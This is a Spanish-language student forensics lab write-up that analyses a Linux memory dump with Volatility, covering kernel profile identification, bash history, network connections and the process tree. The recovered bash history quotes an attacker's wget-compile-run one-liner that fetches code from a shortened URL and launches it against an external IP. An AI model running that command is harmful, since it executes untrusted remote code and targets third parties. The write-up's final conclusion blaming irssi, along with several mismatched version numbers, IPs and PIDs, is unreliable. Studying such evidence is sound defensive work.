

## Práctica 5

# Análisis forense de sistemas Linux

## Identificación del perfil para volatility

Para que Volatility pueda trabajar con volcados de memoria de Linux o Mac, es necesario tener el perfil exacto del kernel. En este caso, si solo se nos ha proporcionado el volcado de memoria, necesitaremos determinar qué perfil utiliza. Podemos lograr esto utilizando Volatility 3 con el comando '**banners.Banners**', el cual nos proporcionará información sobre el kernel utilizado

```
(jose@kali)~/media/sf_Carpeta-Compartida/Forense/practica 6.5/dump-practica5
$ vol3.py -f dump-practica5 banners.Banners
Volatility 3 Framework 2.7.0
Progress: 100.00 PDB scanning finished
Offset Banner
0x18000c0 Linux version 4.2.0-16-generic (buildd@lcy01-07) (gcc version 5.2.1 20151003 (Ubuntu 5.2.1-21ubuntu2) ) #19-Ubuntu SMP Thu Oct 8 15:35:06 UTC 2015 (Ubuntu 4.2.0-16.19-generic 4.2.3)
0x1ef5464 Linux version 4.2.0-16-generic (buildd@lcy01-07) (gcc version 5.2.1 20151003 (Ubuntu 5.2.1-21ubuntu2) ) #19-Ubuntu SMP Thu Oct 8 15:35:06 UTC 2015 (Ubuntu 4.2.0-16.19-generic 4.2.3)
0x60cc0fe Linux version 4.2.0-16-generic (buildd@lcy01-07) (gcc version 5.2.1 20151003 (Ubuntu 5.2.1-21ubuntu2) ) #19-Ubuntu SMP Thu Oct 8 15:35:06 UTC 2015 (Ubuntu 4.2.0-16.19-generic 4.2.3)
0x34a5d5a0 Linux version 4.2.0-16-generic (buildd@lcy01-07) (gcc version 5.2.1 20151003 (Ubuntu 5.2.1-21ubuntu2) ) #19-Ubuntu SMP Thu Oct 8 15:35:06 UTC 2015 (Ubuntu 4.2.0-16.19-generic 4.2.3)
```

También existen otros métodos para averiguar estos datos. Podemos buscar ciertas variables utilizando el comando grep en el volcado de memoria. Por ejemplo, podemos emplear '**grep -a "BOOT\_IMAGE" dump\_practica5**', lo cual nos proporcionará la versión del kernel.

**BOOT\_IMAGE=/boot/vmlinuz-4.2.0-16-generic**

```
****!Initializing cgroup subsys cpuset0*Initializing cgroup subsys cpu4*Initializing cgroup subsys cpuacct***Linux version 4.2.0-16-generic (buildd@lcy01-07) (gcc version 5.2.1 20151003 (Ubuntu 5.2.1-21ubuntu2) ) #19-Ubuntu SMP Thu Oct 8 15:35:06 UTC 2015 (Ubuntu 4.2.0-16.19-generic 4.2.3)*v*Command line: BOOT_IMAGE=/boot/vmlinuz-4.2.0-16-generic root=UUID=ee1686de-33c5-47c0-9943-f6a04b95bfd8 ro quiet splash(*KERNEL supported cpus: Intel GenuineIntel AMD AuthtenticAMD(Centaur CentaurHaulsH6*x86/fpu: xstate offset[2]: 0240, xstate sizes[2]: 0100X5*x86/fpu: Supporting XSAVE feature 0x01: 'x87 floating point reg
```

Con la variable 'linux versión' podemos obtener la versión de Linux junto con la versión del kernel utilizando el comando '**grep -a "Linux version" dump\_practica5**'.

**Linux version 4.2.0-16-generic (buildd@lcy01-07) (gcc version 5.2.1 20151003 (Ubuntu 5.2.1-21ubuntu2) ) #19-Ubuntu SMP Thu Oct 8 15:35:06 UTC 2015**

```
CK64!.*evm: security.SMACK64EXEC0.*evm: security.SMACK64TRANSMUTE.*.*evm: security.SMACK64MMA.*.*evm: security.ima*
innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006ACPI: Enabled 2 GPEs in block 00 to 075 9 10 *11)leep State [\_S4_] (20150619/hwxface-580)3)6*!
****!Initializing cgroup subsys cpuset0*Initializing cgroup subsys cpu4*Initializing cgroup subsys cpuacct***Linux version 4.2.0-16-generic (buildd@lcy01-07) (gcc version 5.2.1 20151003 (Ubuntu 5.2.1-21ubuntu2) ) #19-Ubuntu SMP Thu Oct 8 15:35:06 UTC 2015 (Ubuntu 4.2.0-16.19-generic 4.2.3)*v*Command line: BOOT_IMAGE=/boot/vmlinuz-4.2.0-16-generic root=UUID=ee1686de-33c5-47c0-9943-f6a04b95bfd8 ro quiet splash(*KERNEL supported cpus: Intel GenuineIntel AMD AuthtenticAMD(Centaur CentaurHaulsH6*x86/fpu: xstate offset[2]: 0240, xstate sizes[2]: 0100X5*x86/fpu: Supporting XSAVE feature 0x01: 'x87 floating point reg
```

Ahora que sabemos que el volcado de memoria corresponde a la versión de kernel **4.0.2-16-generic**, tendremos dos opciones para abordar esta tarea. Una opción es crear el perfil desde una máquina virtual simulando este sistema, como vimos en la práctica anterior. La otra opción sería utilizar el repositorio de [Volatility-profiles](#), que proporciona perfiles ya configurados, y buscar el kernel entre ellos. En mi caso, he utilizado este repositorio para descargar la versión de Ubuntu 15.10 server, la cual viene con el kernel **4.2.0-16-generic**.

```
Archivo Acciones Editar Vista Ayuda
(jose@kali)-[/media/sf_Carpeta-Compartida/Forense/practica 6.5/dump-practica5]
$ vol.py --info | grep Linux
Volatility Foundation Volatility Framework 2.6.1
LinuxUbuntu_4_2_0-16-genericx64 - A Profile for Linux Ubuntu_4.2.0-16-generic x64
Linuxdebian10-4_19_0-23-686x86 - A Profile for Linux debian10-4.19.0-23-686 x86
LinuxAMD64PagedMemory - Linux-specific AMD 64-bit address space.
linux_aslr_shift - Automatically detect the Linux ASLR shift
linux_banner - Prints the Linux banner information
linux_yarascan - A shell in the Linux memory image
```

Al verificar que el perfil que hemos agregado coincide con el volcado de memoria, podemos proceder a trabajar en él sin problemas.

```
(jose@kali)-[/media/sf_Carpeta-Compartida/Forense/practica 6.5/dump-practica5]
$ vol.py -f dump-practica5 --profile=LinuxUbuntu_4_2_0-16-genericx64 linux_banner
Volatility Foundation Volatility Framework 2.6.1
Linux version 4.2.0-16-generic (buildd@lcy01-07) (gcc version 5.2.1 20151003 (Ubuntu 5.2.1-21ubuntu2) ) #19-Ubuntu SMP Thu Oct
8 15:35:06 UTC 2015 (Ubuntu 4.2.0-16.19-generic 4.2.3)
```

## Investigación forense

Al iniciar la investigación forense utilizando Volatility, podemos observar los comandos ejecutados. Me llama la atención que se haya descargado un archivo mediante 'wget', ya que la URL asociada es sospechosa.

```
(jose@kali)-[/media/sf_Carpeta-Compartida/Forense/practica 6.5/dump-practica5]
$ vol.py -f dump-practica5 --profile=LinuxUbuntu_4_2_0-16-genericx64 linux_bash
Volatility Foundation Volatility Framework 2.6.1
Pid      Name      Command Time      Command
-----
5411 bash      2017-12-19 11:01:07 UTC+0000 sudo nano /etc/resolv.conf
5411 bash      2017-12-19 11:01:07 UTC+0000 sudo /bin/bash
5411 bash      2017-12-19 11:01:07 UTC+0000 history
5411 bash      2017-12-19 11:01:07 UTC+0000 reboot
5411 bash      2017-12-19 11:01:07 UTC+0000 sudo history -c
5411 bash      2017-12-19 11:01:07 UTC+0000 reboot
5411 bash      2017-12-19 11:01:07 UTC+0000 sudo nano /etc/resolv.conf
5411 bash      2017-12-19 11:01:07 UTC+0000 reboot
5411 bash      2017-12-19 11:01:07 UTC+0000 exit
5411 bash      2017-12-19 11:01:07 UTC+0000 exit
5411 bash      2017-12-19 11:01:07 UTC+0000 reboot
5411 bash      2017-12-19 11:01:55 UTC+0000 cd /tmp/
5554 bash      2017-12-19 11:04:46 UTC+0000 netstat /an
5554 bash      2017-12-19 11:04:50 UTC+0000 netstat -an
5554 bash      2017-12-19 11:04:53 UTC+0000 uname -a
5554 bash      2017-12-19 11:05:00 UTC+0000 lsb_release -a
5554 bash      2017-12-19 11:05:34 UTC+0000 ss -tl
5554 bash      2017-12-19 11:08:00 UTC+0000 cd /tmp
5554 bash      2017-12-19 11:08:05 UTC+0000 wget -q goo.gl/kp5PXm -O t.c && gcc -o system t.c -pthread && ./system 68.21.1.4 55 3 -1 5000
5595 bash      2017-12-19 11:07:25 UTC+0000 sudo /bin/bash
5595 bash      2017-12-19 11:07:25 UTC+0000 irssi
5595 bash      2017-12-19 11:07:25 UTC+0000 reboot
5595 bash      2017-12-19 11:07:25 UTC+0000 netstat -anputn
5595 bash      2017-12-19 11:07:25 UTC+0000 sudo apt-get install build-essential
5595 bash      2017-12-19 11:07:25 UTC+0000 sudo apt-get update
5595 bash      2017-12-19 11:07:25 UTC+0000 sudo apt-get install build-essential
```

Parece que, justo después de descargar dicho archivo, se ejecuta el comando '**sudo /bin/bash**', el cual normalmente se utiliza para escalar privilegios. Inmediatamente después, se observa la ejecución de un programa llamado '**irssi**'.

Al revisar las conexiones con el comando '**netstat**', observamos una conexión TCP con la dirección 168.30.166.38. Parece que esta conexión se ha realizado mediante el programa '**irssi**', lo cual resulta cada vez más sospechoso

```
(jose@kali)-[/media/sf_Carpeta-Compartida/Forense/practica 6.5/dump-practica5]
$ vol.py -f dump-practica5 --profile=LinuxUbuntu_4_2_0-16-genericx64 linux_netstat | grep -E "LISTEN|ESTABLISHED"
Volatility Foundation Volatility Framework 2.6.1
TCP      ::1      : 631 ::      : 0 LISTEN      cupsd/531
TCP      127.0.0.1 : 631 0.0.0.0 : 0 LISTEN      cupsd/531
TCP      0.0.0.0   : 22 0.0.0.0 : 0 LISTEN      sshd/605
TCP      ::        : 22 ::      : 0 LISTEN      sshd/605
TCP      ::        : 21 ::      : 0 LISTEN      vsftpd/641
TCP      ::        : 80 ::      : 0 LISTEN      apache2/668
TCP      127.0.1.1 : 53 0.0.0.0 : 0 LISTEN      dnsmasq/899
TCP      192.168.1.132 :37816 185.30.166.38 : 6697 ESTABLISHED irssi/1849
TCP      ::        : 80 ::      : 0 LISTEN      apache2/2729
TCP      ::        : 80 ::      : 0 LISTEN      apache2/2730
TCP      192.168.1.132 : 22 192.168.1.133 :58690 ESTABLISHED sshd/5491
```

Vamos a utilizar 'pstree' para examinar el árbol de procesos. En este, encontramos un proceso 'sshd' que ya habíamos visto en la lista de conexiones. No me parece sospechoso.

.ModemManager	571	
.NetworkManager	575	
..dhclient	653	
..dnsmasq	899	65534
.sshd	605	
..sshd	5491	
...bash	5554	
....system	5611	
.polkitd	627	
.cups-browsed	629	
.kerneloops	638	114
.vsftpd	641	
.ntpd	646	121
.wpa_supplicant	650	
.apache2	668	
..apache2	2729	33
..apache2	2730	33
.lightdm	737	
..Xorg	746	
..lightdm	821	
...upstart	1210	1000
....upstart-udev-br	1302	1000
....dbus-daemon	1308	1000
....window-stack-br	1320	1000

Encontramos también el programa de irssi

....gvfs-afc-volume	1623	1000
....gvfs-mtp-volume	1629	1000
....gvfs-gphoto2-vo	1637	1000
....gconfd-2	1642	1000
....evolution-calen	1593	1000
.....evolution-calen	1651	1000
.....evolution-calen	1661	1000
....gvfsd-trash	1662	1000
....evolution-addre	1667	1000
.....evolution-addre	1692	1000
....gvfsd-burn	1705	1000
....unity-scope-loa	1733	1000
....zeitgeist-daemo	1740	1000
....zeitgeist-datah	1748	1000
....zeitgeist-fts	1749	1000
....gnome-terminal-	1776	1000
.....gnome-pty-helpe	1782	1000
.....bash	1783	1000
.....htop	2032	1000
.....bash	1826	1000
.....irssi	1849	1000
.....bash	1852	1000
.....sudo	2834	
.....tshark	2835	
.....dumpcap	2851	
.....bash	2880	1000

Vamos a listar los procesos activos del volcado, destacando los PID que consideramos sospechosos.

```
Archivo Acciones Editar Vista Ayuda
(jose@kali)-[/media/sf_Carpeta-Compartida/Forense/practica 6.5/dump-practica5]
$ vol.py -f dump-practica5 --profile=LinuxUbuntu_4_2_0-16-genericx64 linux_psaux | grep 1849
Volatility Foundation Volatility Framework 2.6.1
1849 1000 1000 irssi

(jose@kali)-[/media/sf_Carpeta-Compartida/Forense/practica 6.5/dump-practica5]
$ vol.py -f dump-practica5 --profile=LinuxUbuntu_4_2_0-16-genericx64 linux_psaux | grep 5491
Volatility Foundation Volatility Framework 2.6.1
5491 0 0 sshd: root@pts/20

(jose@kali)-[/media/sf_Carpeta-Compartida/Forense/practica 6.5/dump-practica5]
$ vol.py -f dump-practica5 --profile=LinuxUbuntu_4_2_0-16-genericx64 linux_psaux | grep 5554
Volatility Foundation Volatility Framework 2.6.1
5554 0 0 -bash

(jose@kali)-[/media/sf_Carpeta-Compartida/Forense/practica 6.5/dump-practica5]
$ vol.py -f dump-practica5 --profile=LinuxUbuntu_4_2_0-16-genericx64 linux_psaux | grep 5611
Volatility Foundation Volatility Framework 2.6.1
5611 0 0 ./system 68.21.1.4 55 3 -1 5000
```

El proceso 5553 es una instancia de bash que se generó inmediatamente después de establecer una conexión SSH con privilegios de root. Al analizar este proceso en profundidad, se observa que fue durante esta conexión cuando se descargó el archivo sospechoso.

```
#1513681493
]0;root@Scania: /tmp
root@Scania:/tmp#
_a2ensite
wget -q goo.gl/kp5PXm -O t.c && gcc -o system t.c -pthread && ./system 68.21.1.4 55 3 -1 5000
/usr/bin/lsb_release
]0;root@Scania: /tmp
root@Scania:/tmp#
/usr/local/games/lsb_re
system
xterm-256color
wget -q goo.gl/kp5PXm -O t.c && gcc -o system t.c -pthread && ./system 68.21.1.4 55 3 -1 5000
LINES
!*.@(?[la]tex|texi|dtx|ins|ltx|dbj)
!*.@(?[la]tex|texi|dtx|ins|ltx|dbj)
```

Basándome en el análisis del volcado, parece que el proceso dañino es irssi con PID 1849; este proceso está realizando peticiones desde una IP externa, como podemos confirmar con el comando netstat.